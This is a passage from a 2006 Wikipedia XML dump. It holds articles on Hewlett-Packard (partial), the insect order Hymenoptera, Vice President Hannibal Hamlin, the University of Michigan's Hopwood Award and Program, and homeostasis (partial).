Many long-time HP calculator users were surprised and disappointed when HP announced in March 2002 that the company would no longer manufacture financial and scientific calculators &amp;ndash; a product line and, indeed, a market, that HP had started thirty years before. The decision was especially hard to fathom in light of the [[HP-48]] graphing calculator range's success. However, despite its spring 2002 press release stating the opposite, the company nevertheless returned to the market during the fall of [[2003]] with several new models (flagship: [[HP-49G_Plus#hp_49g.2B|HP-49g+]]) competing against similar offerings from competitor [[Texas Instruments]].  The extremely popular [[HP-12C]] financial calculator, introduced in 1981, still remains in production today.

==HP today==
In 2002, Hewlett-Packard merged with [[Compaq]], a controversial move intended to make the company the personal computing leader.  The merger opposition was led by [[Walter Hewlett]], son of original founder William Hewlett.

Hewlett-Packard is a supporter of [[FOSS]] and [[Linux]]. Some HP employees, such as Linux CTO and former [[Debian]] Project Leader Bdale Garbee actively contribute &amp;ndash; a few have official Open Source job responsibilities. Many others participate in the Open Source community as unpaid volunteers. HP is also known in the (GNU/)Linux community for releasing drivers for many of their printers under the [[GNU GPL]].

Hewlett-Packard also works extensively with [[Microsoft]] and uses technology from most major software and hardware vendors.

Other HP products/technologies include:
* [[Inkjet printer|Inkjet]] and [[LaserJet]] printers, consumables and related products.
* the [[HP-UX]] and [[Tru64]] [[operating system]]s (two [[Unix|UNIX]] implementations, the second from [[Digital Equipment Corporation|DEC]])
* the [[OpenVMS]] large-scale, highly-available server operating system (from [[Digital Equipment Corporation|DEC]])
* the [[Tandem Computers|NonStop]] high-reliability architecture and operating system (from [[Tandem Computers]])
* the [[PA-RISC family|PA-RISC]] [[processor architecture]]
* the [[IA64]] processor architecture (with [[Intel]])
* the [[DEC Alpha|Alpha]] processor architecture (from [[Digital Equipment Corporation|DEC]])
* the [[HP 9000]] line of [[server]]s and [[workstation]]s
* the [[ProLiant]] line of x86 based servers (from Compaq)
* the [[UDC (Utility Data Center)]]
* the [[OpenView]] family of [[management software]]
* the Storage [http://welcome.hp.com/country/us/en/prodserv/storage.html] product line, which includes business class and enterprise class data storage and protection products.
* the ProCurve [http://www.hp.com/rnd/index.htm] family of network switches, wireless access points, and routers.
* the [[Indigo Digital Press]]

[[Image:HPLaptopzv6000series.jpg|thumb|left|A modern mid-range HP Laptop; the HP Pavilion zv6115EA.]]
HP has a successful line of printers, scanners, digital cameras, calculators, PDAs, servers, workstations, and home-small business computers. Until recently HP even offered a re-branded version of [[Apple Computer|Apple's]] famous [[Apple iPod|iPod]]. HP today promotes itself as not just being a hardware and software company, but also one that offers a full range of services to architect, implement and support today's IT infrastructure.

In [[2003]], HP had 140,000 [[employee]]s world wide. From July 1999 to [[February 9]], [[2005]], the chairman and [[CEO]] was [[Carly Fiorina]], the first woman ever to serve as CEO of a company included in the [[Dow Jones Industrial Average]]. Amid controversy over her performance and threats of reductions in her responsibilities by the HP Board of Directors, Fiorina was eventually forced to resign. The current non-executive chairman is Patricia C. Dunn. She was given this responsibility in February 2005 after Ms. Fiorina left the company. Unlike previous CEOs, [[Mark Hurd]] the new CEO of HP does not hold the position of [[Chairman]].

==Management==
* Founder and CEO: [[David Packard]] (CEO: 1964 - 1969)
* Founder and CEO: [[William Hewlett]] (CEO: 1969 - 1978)
* CEO: [[John A. Young]] (1978 - 1992)
* CEO: [[Lewis Platt]] (1992 - July 18, 1999)
* Chairman and CEO: [[Carly Fiorina]] (July 19, 1999 - February 9, 2005, Appointed chairman in 2000)
* Interim CEO: [[Robert P. Wayman]] (Feburary 10, 2005 - March 28, 2005)
* CEO: [[Mark Hurd]] (March 29, 2005 - current)

==Diversity==
Hewlett-Packard received a 100% rating on the Corporate Equality Index released by the [[Human Rights Campaign]] starting in [[2003]], the second year of the report. In addition, the company was named one of the 100 Best Companies for Working Mothers in 2004 by ''Working Mothers'' [[magazine]].

Hewlett-Packard is also involved in the [[NEPAD e-school programme]] to provide all schools in Africa with computers and internet access.

==Ad campaigns==
A television ad campaign for Hewlett-Packards digital photography (titled &quot;You + HP: digital photography&quot;) has been noted for its simple special effects and choice of music. It won &quot;Campaign of the Year&quot; from ''Adweek'' magazine.

===Songs used in &quot;You + HP&quot; Campaign===
*&quot;Picture Book&quot; by [[The Kinks]]
*&quot;Out of the Picture&quot; by [[The Robins]]
*&quot;Pictures of You&quot; by [[The Cure]]
*&quot;The Rainbow&quot; by [[The Apples in Stereo]]
*&quot;Across the Universe&quot; by [[The Beatles]]

==Merger of AppIQ==
In [[October]] of [[2005]], Hewlett-Packard acquired the private company AppIQ. The company was founded in 2001 by Ash Ashutosh and David Chang, and offered several digital storage solutions. The company had employed up to 235 people by June 2005.

Utilizing [[CIM]], [[SMI-S]], and web architecture, the company's feature product, AppIQ StorageAuthority Suite, seamlessly integrated new modules into an existing deployment managing [[SAN]], [[DAS]], [[Network-attached storage|NAS]], [[FSRM]], databases, hosts, and backup products all at once.

The company's name is short for &quot;Application IQ&quot; and reflected AppIQ's belief that storage must be managed as an application-focused utility to ensure that storage infrastructure is aligned with business imperatives. Its business model included joint development and OEM alliances which allowed it to provide the broadest distribution, service, support options available, and unequalled support with vendors.

==Competitors==
Major competitors of HP in the PC business include:

* [[Dell_Inc. | Dell, Inc]]
* [[Gateway, Inc.]]
* [[Lenovo]] (Purchased [[IBM]]'s Non-server Computer Business)
* [[Sony]]
* [[Toshiba]]

Major competitors of HP in the server business include:

* [[Sun Microsystems]]
* [[IBM]]
* [[Dell_Inc. | Dell, Inc]]

==See also==
*[[List of Hewlett-Packard products]]
*[[Packard Bell]] - A similarly named but autonomous company.

==External links==
;HP
*[http://www.hp.com HP corporate homepage]
*[http://index.hpshopping.com HP online store]
*[http://www.hp.com/hpinfo/abouthp/histnfacts/ HP History and Facts]
*[http://opensource.hp.com/ HP Open Source portal]
*[http://www.hp.com/linux HP Linux portal]
*[http://www.hp.com/calculators/ HP Calculators]
*[http://www.hpl.hp.com/ Hewlett-Packard Labs]
*[http://h30248.www3.hp.com/recycle/ca/index.html?jumpid=recycle Product Return &amp; Recycling]


;Company Information &amp; History
* [http://biz.yahoo.com/ic/10/10723.html Yahoo - Company Profile]
* [http://www.forbes.com/finance/mktguideapps/compinfo/CompanyTearsheet.jhtml?tkr=HPQ Forbes - Company Information]
* [http://host.businessweek.com/businessweek/Corporate_Snapshot.html?Symbol=HPQ BusinessWeek   - Corporate Snapshot]
* [http://www.hpalumni.org/hp_way ''The HP Way''] HP's statement of the HP Way, circa 1992. (HP Alumni Association) 
* [http://www.paloaltoonline.com/weekly/morgue/2002/2002_04_10.hpway10.html ''The rise and fall of the HP Way''] by Jocelyn Dong, with Pam Sturner (Online Edition of the Palo Alto Weekly, April 10, 2002)
* [http://www.hydrix.com/wiki/ The HP Calculator Wiki]
* [http://www.hpmuseum.org The Museum of HP Calculators]
* [http://www.hpmuseum.net HP Computer Museum]
* [http://www.hpalumni.org/hp HP History Links] The company; the founders; products and reminiscences; reference sites. (HP Alumni Association)


;Alumni Associations
* [http://www.hpalumni.org HP Alumni Association] Non-profit; independent of HP. Open to current employees within three months of their last working day.
* [http://www.decalumni.com/ Digital Alumni] ''Share the memories of the past as well as the adventures of the future''



;Third Party Technology sites
* [http://tuxmobil.org/hp.html Linux on Hewlett-Packard laptops]
* [http://www.openpa.net/ The OpenPA Project] - resource for information on PA-RISC based computers from HP and other vendors



[[Category:Companies based in California]]
[[Category:Dow Jones Industrial Average]]
[[Category:Electronics companies]]
[[Category:Hewlett-Packard]]
[[Category:Portable Audio Player Manufacturers]]

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[[zh:惠普公司]]</text>
    </revision>
  </page>
  <page>
    <title>Hymenoptera</title>
    <id>13974</id>
    <revision>
      <id>39425169</id>
      <timestamp>2006-02-13T01:30:57Z</timestamp>
      <contributor>
        <username>JarlaxleArtemis</username>
        <id>161122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Hymenoptera
| image = Hymenoptere(s).jpg
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Insect]]a
| superordo = [[Endopterygota]]
| ordo = '''Hymenoptera'''
| ordo_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Suborders]]
| subdivision = 
* [[Apocrita]]
* [[Symphyta]]
* Many [[family (biology)|families]], see article
}}

'''Hymenoptera''' is one of the larger [[order (biology)|order]]s of [[insect]]s, comprising the [[symphyta|sawflies]], [[wasp]]s, [[bee]]s, and [[ant]]s. The name comes from the membranous wings (Greek ''hymen'', a membrane), of which most forms have two pairs, the front wings larger than the back.

Females typically have a special [[ovipositor]] for inserting into hosts or otherwise inaccessible places, often modified into a stinger. The young develop through complete [[metamorphosis (biology)|metamorphosis]] - that is, they have a worm-like larval stage and an inactive pupal stage before they mature. (See [[holometabolism]].)

Among the hymenopterans, sex is [[sex-determination system|determined]] by the number of [[chromosome|chromosomes]] the individual receives.  Fertilized eggs get two sets of chromosomes, and so develop into [[diploid]] females; unfertilized eggs only receive one set, and so develop into [[haploid]] males.  This phenomenon is called [[haplodiploidy]].  Note, however, that the actual genetic mechanisms of haplodiploid sex determination are more complex than simple chromosome number.  In many Hymenoptera, sex is actually determined by a single gene locus with many alleles.  In these species, haploids are male and diploids heterozygous at the sex locus are female, but occasionally a diploid will be homozygous at the sex locus and develop as a male instead.  This is especially likely to occur in an individual whose parents were siblings or other close relatives.   Diploid males are known to be produced by inbreeding in many ant, bee and wasp species.

The consequence of haplodiploidy is that females on average actually have more genes in common with their sisters than they do with their own daughters.  Because of this, cooperation among kindred is unusually advantageous, and varying degrees of sociality have appeared several times among the different subgroups.  The most extreme form is [[eusociality]]. 

==Suborder Apocrita==

The wasps, bees, and ants together make up a suborder of the Hymenoptera called the [[Apocrita]], characterized by a constriction between the first and second abdominal segments called a wasp-waist.  The remaining forms (sawflies) were once classified as a second suborder, the [[Symphyta]], but this appears to be [[paraphyletic]].  One classification of the Apocrita (superfamilies) follows:

* [[Ichneumon wasp|Ichneumonoidea]]
* [[Cynipoidea]]
* [[Chalcid]]oidea
* [[Ceraphronoidea]]
* [[Evanioidea]]
* [[Protoctrupoidea]]
* [[Platygasteroidea]]
* [[Chrysidoidea]]
* [[Digger wasp|Sphecoidea]] (e.g. ''[[Digger wasp|Sphex]]'')
* [[Vespoidea]]
** [[Vespid]]ae ([[yellowjacket]]s, [[hornet]]s, [[paper wasp]]s, etc.)
** [[Ant|Formicidae]] (ants)
** ...
* [[Bee|Apoidea]] ([[Bee|bees]])

==Suborder Symphyta==

Hymenopterans classified in the suborder [[Symphyta]] include the following superfamilies:
*[[Xyeloidea]]
*[[Megalodontoidea]]
*[[Siricoidea]]
*[[Orussoidea]]
*[[Cephoidea]]
*[[Tenthredinoidea]]

==External links==
* [http://www.bwars.com/ Bees, Wasps and Ants Recording Society] (UK)
* [http://www.lasius.narod.ru/ Ants Photo Gallery] (RU)
[[Category:Hymenoptera|*]]
[[Category:Insects]]

[[de:Hautflügler]]
[[es:Himenóptero]]
[[eo:Himenopteroj]]
[[fr:Hymenoptera]]
[[io:Himenoptero]]
[[he:דבוראים]]
[[lt:Plėviasparniai]]
[[nl:Hymenoptera]]
[[ja:ハチ目]]
[[no:Årevinger]]
[[pl:Błonkoskrzydłe]]
[[pt:Hymenoptera]]
[[ru:Перепончатокрылые]]
[[fi:Pistiäiset]]
[[sv:Steklar]]
[[zh:膜翅目]]
[[cs:Blanokřídlí]]</text>
    </revision>
  </page>
  <page>
    <title>Hannibal Hamlin</title>
    <id>13976</id>
    <revision>
      <id>41096098</id>
      <timestamp>2006-02-25T00:44:50Z</timestamp>
      <contributor>
        <ip>68.78.172.208</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Hannibal Hamlin.jpg|200px|thumb|right|Vice President Hannibal Hamlin]]
'''Hannibal Hamlin''' ([[August 27]], [[1809]] &amp;ndash; [[July 4]], [[1891]]) was an [[American politician]] from the [[U.S. state]] of [[Maine]]. Hamlin served in the [[Maine Legislature]], the [[United States House of Representatives|U.S. House of Representatives]], the [[United States Senate|U.S. Senate]] and as [[Governor of Maine]]. Hamlin began his career as a [[Democratic Party (United States)|Democrat]] but later became a member of the [[Republican Party (United States)|Republican Party]].  He was the first Republican to serve as [[Vice President of the United States]], elected as [[Abraham Lincoln]]'s [[running mate]] in the [[U.S. presidential election, 1860|1860 presidential election]].

Hamlin was born in the Paris Hill district of [[South Paris, Maine|South Paris]], Maine, in [[Oxford County, Maine|Oxford County]]. He attended the district schools and [[Hebron Academy]] there, and later managed his father's [[farm]]. For the next few years he worked at several jobs: schoolmaster, cook, woodcutter, surveyor, manager of a weekly [[newspaper]] in [[Paris, Maine|Paris]], and a [[compositor]] at a printer's office. He studied law and was admitted to the bar in 1833. He began practicing in [[Hampden (town), Maine|Hampden]], where he lived until 1848.

The political career of Hamlin began in 1836, when he began a term in the [[Maine House of Representatives]] after being elected the year before. He served in the [[Aroostook War]], which took place in 1839. Hamlin left the House in 1841. He served two terms in the [[United States House of Representatives]], from 1843-1847. He was elected to fill a Senate vacancy in 1848 and to a full term in 1851. A [[Democratic Party (United States)|Democrat]] at the beginning of his career, Hamlin supported the candidacy of [[Franklin Pierce]] in 1852.

From the very beginning of his service in Congress he was prominent as an opponent of the extension of slavery; he was a conspicuous supporter of the [[Wilmot Proviso]], and spoke against the [[Compromise Measures of 1850]].  In 1854 he strongly opposed the passage of the [[Kansas-Nebraska Bill]], which repealed the [[Missouri Compromise]].  After the [[Democratic Party (United States)|Democratic Party]] endorsed that repeal at the [[Cincinnati Convention]] two years later, on [[June 12]], [[1856]] he withdrew from the Democratic Party and joined the newly organized [[Republican Party (United States)|Republican Party]], causing a national sensation. 

The Republicans nominated him for [[Governor of Maine]] in the same year, and having carried the election by a large majority he was inaugurated in this office on the [[January 8]], [[1857]]. In the latter part of February, however, he resigned the governorship, and was again a member of the Senate from 1857 to January 1861.

He was chosen for the second place on the winning Republican ticket in 1860.  While Vice President he was one of the chief advisers to [[President of the United States|President]] [[Abraham Lincoln]], and urged both the [[Emancipation Proclamation]] and the arming of [[African Americans]]. His identification with the [[Radical Republican]]s caused him to be dropped from the ticket in 1864 in
favor of [[Andrew Johnson]], who was a member of the [[United States Democratic Party|Democratic Party]] and a [[U.S. Southern states|southerner]]. 

Hamlin served in the Senate from 1869 to 1881. His last post was minister to [[Spain]], from 1881 to 1882.

He died in [[Bangor, Maine]], on [[July 4]], [[1891]] and is buried in Mount Hope Cemetery.

He had two sons, Charles Hamlin and Cyrus Hamlin, who served in the Union forces during the [[American Civil War|Civil War]]. Charles and sister Sarah were present at [[Ford's Theater]] the night of [[Abraham Lincoln#Assassination|Lincoln's assassination]]. His son [[Hannibal Emery Hamlin]] was Maine state [[Attorney General]] from 1905 to 1908.

There are biographies by his grandson Charles E. Hamlin (printed 1899, reprinted 1971) and H.D. Hunt (printed 1969).

[[Hamlin County, South Dakota]] is named in his honor.

==Sources and further reading==
*{{bioguide}}
*Hamlin, Charles E. ''Life and Times of Hannibal Hamlin''. Cambridge, Mass.: 1899.

==External links==
*[http://www.mlwh.org/inside.asp?ID=89&amp;subjectID=2 Biography]

&lt;!--navtables--&gt;

{{start box}}
{{succession box|title=[[List of Governors of Maine|Governor of Maine]]|before=[[Samuel Wells]]|after=[[Joseph H. Williams]]|years=1857}}
{{succession box| title=[[List of United States Republican Party presidential tickets|Republican Party vice presidential candidate]]| before=[[William L. Dayton]]| after=[[Andrew Johnson]] *| years=[[U.S. presidential election, 1860|1860]] (won)}}
{{succession box|title=[[Vice President of the United States]]|before=[[John C. Breckinridge]]|after=[[Andrew Johnson]]|years=[[March 4]], [[1861]]&amp;ndash;[[March 3]], [[1865]]}}
{{succession footnote| marker=*| footnote=Lincoln and Johnson ran on the National Union ticket in 1864.}}
{{end box}}

&lt;!--templates--&gt;
{{US Vice Presidents}}
{{USRepVicePresNominees}}

[[Category:1809 births|Hamlin, Hannibal]]
[[Category:1891 deaths|Hamlin, Hannibal]]
[[Category:Governors of Maine|Hamlin, Hannibal]]
[[Category:Republican Party (United States) vice presidential nominees|Hamlin, Hannibal]]
[[Category:United States Senators from Maine|Hamlin, Hannibal]]
[[Category:Vice Presidents of the United States|Hamlin, Hannibal]]

[[de:Hannibal Hamlin]]
[[fr:Hannibal Hamlin]]
[[it:Hannibal Hamlin]]
[[ja:ハンニバル・ハムリン]]
[[sv:Hannibal Hamlin]]</text>
    </revision>
  </page>
  <page>
    <title>Hopwood Award</title>
    <id>13978</id>
    <revision>
      <id>40364301</id>
      <timestamp>2006-02-20T01:57:30Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Hopwood Awards''' are a major scholarship program at the [[University of Michigan]], founded by [[Avery Hopwood]].

Under the terms of the will of Avery Hopwood, a prominent [[United States|American]] [[dramatist]] and member of the Class of [[1905]] of The University of Michigan, one-fifth of Mr. Hopwood's estate was given to the Regents of the University for the encouragement of creative work in writing. The first awards were made in [[1931]], and today the [[Hopwood Program]] offers approximately $100,000 in prizes every year to young aspiring writers at the University of Michigan.

Following is a list of the contests held by the [[Hopwood Program]] with a brief description of eligibility and prizes offered:

The Graduate and Undergraduate Hopwood Contest&lt;br&gt;
Awards are offered in the following genres: drama/screenplay, [[essay]], [[the novel]], [[short story|short fiction]] and [[poetry]]. These awards are classified under two categories, Graduate or Undergraduate, except the novel which is a combined category. Award amounts for this contest vary, but usually fall in the range of $1000 to $6000.

Summer Hopwood Contest&lt;br&gt;
This contest is only open to students who take writing courses during Spring and Summer terms.

Hopwood Underclassmen Contest&lt;br&gt;
This contest is open to freshmen and sophomores who are enrolled in writing courses.

See also: [[University of Michigan]], [[Arthur Miller]], [[short story]], [[literature]], [[theater]]

==External links==
*[http://www.lsa.umich.edu/english/hopwood/hopwood.htm Hopwood Awards]

[[Category:University of Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Hopwood Program</title>
    <id>13979</id>
    <revision>
      <id>40364306</id>
      <timestamp>2006-02-20T01:57:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Hopwood Program''' administers the [[University of Michigan]] [[Hopwood Award]] in [[literature]], as well as several other awards in writing. It is located in the Hopwood Room at the University of Michigan.

The Hopwood Room&lt;br&gt;
1176 Angell Hall&lt;br&gt;
Ann Arbor, Michigan  48104&lt;br&gt;
Monday - Friday from 8:30 - 4:30

The Hopwood Room serves the needs and interests of Hopwood contestants. The Room was established by Professor [[Roy W. Cowden]], Director of the Hopwood Awards from [[1933]] to [[1952]], who generously contributed a part of his library, which has grown through the addition of many volumes of contemporary literature. In addition to housing the winning manuscripts from the past years of the contests, the Hopwood Room has a lending library of [[20th century|twentieth -century]] literature, a 
generous supply of non-circulating current periodicals, some reference 
books on how to get published, information on graduate and summer writing 
programs, and a collection of screen plays donated by former Hopwood winner 
[[Lawrence Kasdan]].


==Prizes Administered by the Hopwood Program==

The Hopwood Program also administers the following writing contests: the Kasdan Scholarship in Creative Writing, the Arthur Miller Award of the U-M Club of New York Scholarship, the Jeffery L. Weisberg Poetry Prize, the Dennis McIntyre Poetry Prize, the Chamberlain Award for Creative Writing, the Helen S. and John Wagner Prize, the Andrea Beauchamp Prize, the Robert F. Haugh Prize, the Meader Family Award, the Naomi Saferstein Literary Award, the Leonard and Eileen Newman Writing Prizes and the Paul and Sonia Handleman Poetry Award. 

==Notable Hopwood Winners==
*[[Lawrence Kasdan]]
*[[Elizabeth Kostova]], Novel-in-Progress (&quot;The Historian&quot;)
*[[Arthur Miller]]
*[[ Patrick O'Keeffe  ]], MFA, winner of the Chamberlain Award for Creative Writing for &quot;Above the Bar.&quot; (administered by the Hopwood Program) and instructor in the University of Michigan’s [[Sweetland Writing Center]] has won the 2006 [[Story Prize]], the richest U.S. prize for short fiction, for The Hill Road, a collection of four novellas set in a fictional Irish farming village. O'Keeffe's writing has been compared to the Irish short-story and novel writer [[William Trevor]].
*[[Marge Piercy]], Poetry and Fiction (1957)

==External links==
http://www.lsa.umich.edu/english/hopwood/hopwood.htm

see [[literature]], [[University of Michigan]], [[Arthur Miller]], [[Hopwood Award]]

[[Category:University of Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Homeostasis</title>
    <id>13980</id>
    <revision>
      <id>41999560</id>
      <timestamp>2006-03-03T03:22:03Z</timestamp>
      <contributor>
        <username>Mhking</username>
        <id>262806</id>
      </contributor>
      <comment>Revert to revision 41890231 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Homeostasis''' is the property of an [[open system (system theory)|open system]], especially living [[organism]]s, to regulate its internal environment to maintain a stable, constant condition, by means of multiple [[dynamic equilibrium]] adjustments, controlled by interrelated regulation mechanisms. The term was coined in [[1932]] by [[Walter Cannon]] from the [[Greek language|Greek]] ''homo'' (same, like) and ''stasis'' (to stand, posture).

== Overview ==
The term is most often used in the sense of [[biology|biological]] homeostasis.  [[Multicellular organism]]s require a homeostatic internal [[natural environment|environment]], in order to [[life|live]]; many [[environmentalist]]s believe this principle also applies to the external environment.
Many [[ecology|ecological]], [[biology|biological]], and [[society|social]] systems are homeostatic. They oppose change to maintain equilibrium. If the system does not succeed in reestablishing its balance, it may ultimately lead the system to stop functioning.

[[Complex system]]s, such as a human body, must have homeostasis to maintain stability and to survive. These systems do not only have to endure to survive; they must adapt themselves and evolve to modifications of the environment.

=== Properties of homeostasis ===
Homeostatic systems show several properties:
*They are [[stability|ultrastable]]: the system is capable of testing which way its variables should be adjusted.
*Their whole [[organization]] (internal, structural, and functional) contributes to the maintenance of [[equilibrium]].
*They are unpredictable: the resulting effect of a precise action often has the opposite effect to what was expected.
Main examples of homeostasis in mammals are as follows:
*The regulation of the amounts of water and minerals in the body. This is known as osmoregulation. This happens in the kidneys.
*The removal of metabolic waste. This is known as excretion. This is done by the excretory organs such as the kidneys and lungs. 
*The regulation of body temperature. This is mainly done by the skin.
*The regulation of blood glucose level. This is mainly done by the liver and the insulin secreted by the pancreas.

It is important to note that while organisms exhibit equilibrium, their physiological state is not necessarily static.  Many organisms exhibit endogenous fluctuations in the form of [[circadian rhythm | circadian]] (period 20 to 28 hours), ultradian (period &lt;20 hours) and infradian (period &gt; 28 hours) rhythms.  Thus even in homeostasis, body temperature, blood pressure, heart rate and most metabolic indicators are not always at a constant level, but vary predictably over time.

=== Mechanisms of homeostasis: feedback ===
''Main article:'' [[Feedback]]

When a change of variable occurs, there are two main types of feedback to which  the system reacts:

*''[[Negative feedback]]'' is a reaction in which the system responds in such a way as to reverse the direction of change.  Since this tends to keep things constant, it allows the maintenance of homeostasis.  For instance, when the concentration of [[carbon dioxide]] in the human body increases, the [[lung]]s are signaled to increase their activity and expel more carbon dioxide. [[Thermoregulation]] is another example of negative feedback. When body temperature rises (or falls), receptors in the skin and the [[hypothalamus]] sense a change, triggering a command from the brain.  This command, in turn, effects the correct response, in this case a decrease in body temperature.

*In ''[[positive feedback]]'', the response is to amplify the change in the variable.  This has a destabilizing effect, so does not result in homeostasis.  Positive feedback is less common in naturally occurring systems than negative feedback, but it has its applications.  For example, in [[nerve]]s, a [[threshold potential|threshold electric potential]] triggers the generation of a much larger [[action potential]].  (See also [[leverage points]].) [[Blood clotting]] and events in [[childbirth]] are other types of positive feedback.

Sustainable systems require combinations of both kinds of feedback.  Generally with the recognition of divergence from the homeostatic condition positive feedbacks are called into play, whereas once the homeostatic condition is approached, negative feedback is used for &quot;fine tuning&quot; responses.  This creates a situation of &quot;metastability&quot;, in which homeostatic conditions are maintained within fixed limits, but once these limits are exceeded, the system can shift wildly to a wholly new (and possibly less desirable) situation of homeostasis.  Such [[catastrophe theory|catastrophic]] shifts may occur with increasing nutrient load in clear rivers suddenly producing a homestatic condition of high [[eutrophication]] and [[turbidity]], for instance.

== Ecological homeostasis ==

Ecological homeostasis is found in a ''' ''[[climax community]]'' ''' of maximum permitted [[biodiversity]], given the prevailing ecological conditions.

In disturbed [[ecosystem]]s or [[sub-climax]] [[biological community|biological communities]] such as the island of [[Krakatoa]], after its major erruption in [[1883]], the established stable homeostasis of the previous [[forest]] climax ecosystem was destroyed and all life eliminated from the island. Krakatoa, in the years after the erruption went through a sequence of ecological changes in which successive groups of new plant or animal species followed one another, leading to increasing biodiversity and eventually culminating in a re-established climax community.  This ''' ''[[ecological succession]]'' ''' on Krakatoa occurred in a number of sereal stages, in which a ''&quot;[[sere]]&quot;'' is defined as &quot;a stage in a sequence of events by which succession occurs&quot;. The complete chain of seres leading to a climax is called a ''&quot;[[prisere]]&quot;''.  In the case of Krakatoa, the island as reached its climax community with eight hundred different species being recorded in 1983, one hundred years after the erruption which cleared all life off the island. Evidence confirms that this number has been homeostatic for some time, with the introduction of new species rapidly leading to elimination of old ones.

The evidence of Krakatoa, and other disturbed or virgin ecosystems shows that the initial colonisation by '''pioneer or [[R strategy]] species''' occurs through positive feedback reproduction strategies, where species are [[weeds]], producing huge numbers of possible offspring, but investing little in the success of any one.  Rapid [[boom and bust]] [[Pestilence|plague]] or [[pest]] cycles are observed with such species.  As an ecosystem starts to approach climax these species get replaced by more sophisticated climax species which through negative feedback, adapt themselves to specific environmental conditions.  These species, closely controlled by '''[[carrying capacity]], follow [[K strategies]]''' where species produce fewer numbers of potential offspring, but invest more heavily in securing the reproductive success of each one to the microenvironmental conditions of its specific [[ecological niche]].

It begins with a pioneer community and ends with a climax community. This climax community occurs when the ultimate vegetation has become in equilibrium with the local environment. 
 
Such ecosystems form nested communities or &quot;[[heterarchies]]&quot;, in which homeostasis at one level, contributes to homeostatic processes at another [[holon (philosophy)|holon]]ic level.  For example, the loss of leaves on a mature rainforest tree gives a space for new growth, and contributes to the [[leaf litter]] and [[soil]] [[humus]] build-up upon which such growth depends.  Equally a mature rainforest tree reduces the sunlight falling on the forest floor and helps prevent invasion by other species.  But trees too fall to the forest floor and a healthy forest [[glade]] is dependent upon a constant rate of forest regrowth, produced by the fall of logs, and the recycling of forest nutrients through the respiration of termites and other [[insect]], [[fungi|fungal]] and [[bacteria]]l decomposers.  Similarly such forest glades contribute ecological services, such as the regulation of [[microclimate]]s or of the [[hydrological cycle]] for an [[ecosystem]], and a number of different ecosystems act together to maintain homeostasis perhaps of a number of [[river]] [[catchments]] within a [[bioregion]].  A diversity of bioregions similarly makes up a stable homeostatic biological region or [[biome]].

In the [[Gaia hypothesis]], [[James Lovelock]] stated that the entire mass of living matter on Earth (or any planet with life) functions as a vast homeostatic [[superorganism]] that actively modifies its planetary environment to produce the environmental conditions necessary for its own survival. In this view, the entire planet maintains homeostasis. Whether this sort of system is present on Earth is still open to debate. However, some relatively simple homeostatic mechanisms are generally accepted. For example, when atmospheric carbon dioxide levels rise, certain plants are able to grow better and thus act to remove more carbon dioxide from the atmosphere. When sunlight is plentiful and atmospheric temperature climbs, the [[phytoplankton]] of the ocean surface waters thrive and produce more [[dimethyl sulfide]], DMS. The DMS molecules act as [[cloud condensation nuclei]] which produce more clouds and thus increase the atmospheric [[albedo]] and this feedsback to lower the temperature of the atmosphere.  As scientists discover more about Gaia, vast numbers of positive and negative feedback loops are being discovered, that together maintain a metastable condition, sometimes within very broad range of environmental conditions.

== Biological homeostasis ==

Homeostasis is one of the fundamental characteristics of living things.  It is the maintenance of the internal environment within tolerable limits.

The internal environment of a living organism's body features body fluids in multicellular animals.  The body fluids include [[blood plasma]], [[tissue fluid]] and [[intracellular fluid]].  The maintenance of a [[Steady state (biochemistry)|steady state]] in these fluids is essential to living things as the lack of it harms the genetic material.

With regard to any [[parameter]], an organism may be a '''conformer''' or a '''regulator'''.  Regulators try to maintain the parameter at a constant level, regardless of what is happening in its environment.  Conformers allow the environment to determine the parameter.  For instance, [[endotherm]]ic [[animal]]s maintain a constant body temperature, while [[ectotherm]]ic animals exhibit wide variation in body temperature.

This is not to say that conformers may not have [[behavior]]al [[adaptation (biology)|adaptation]]s that allow them to exert some control over the parameter in question.  For instance, [[reptile]]s often sit on [[sun]]-heated [[Rock (geology)|rock]]s in the morning to raise their body temperatures.

An advantage of homeostatic regulation is that it allows the organism to function more effectively.  For instance, [[ectotherm]]s tend to become sluggish at low temperatures, whereas endotherms are as active as always.  On the other hand, regulation requires energy.  One reason [[snake]]s are able to eat just once a week is that they use much less energy for maintaining homeostasis.

=== Homeostasis in the human body ===
All sorts of factors affect the suitability of the [[human]] body fluids to sustain life; these include properties like [[temperature]], [[salinity]], and [[acidity]], and the concentrations of nutrients such as [[glucose]], various [[ion]]s, [[oxygen]], and wastes, such as [[carbon dioxide]] and [[urea]].  Since these properties affect the chemical reactions that keep bodies alive, there are built-in physiological mechanisms to maintain them at desirable levels. 

Homeostasis is not the ''reason'' for these ongoing unconscious adjustments. It should be thought of as a general characterization of many normal processes in concert, not their proximal cause. Moreover, there are numerous biological phenomena which do not conform to this model, such as [[anabolism]].

== Other fields ==
The term has come to be used in other fields, as well.

An [[actuary]] may refer to &quot;risk homeostasis&quot;, where (for example) people who have anti-lock brakes have no better safety record than those without anti-lock brakes, because they unconsciously compensate for the safer vehicle via less-safe driving habits. Previously certain manoeuvres involved minor skids, evoking fear and avoidance: now the anti-lock system moves the boundary for such feedback and behaviour patterns expand into the no-longer punitive area.

Sociologists and psychologists may refer to &quot;stress homeostasis&quot;, the tendency of a population or an individual to stay at a certain level of stress, often generating artificial stresses if the &quot;natural&quot; level of stress is not enough.

===Examples===
*[[Thermoregulation]]
**The [[skeletal muscle]]s can [[shivering|shiver]] to produce heat if the body temperature is too low.
**[[Non-shivering thermogenesis]] involves the decomposition of [[fat]] to produce heat.
**[[Sweat]]ing cools the body with the use of [[evaporation]].
*[[Chemical regulation]]
**The [[pancreas]] produces [[insulin]] and [[glucagon]] to control blood-sugar concentration.
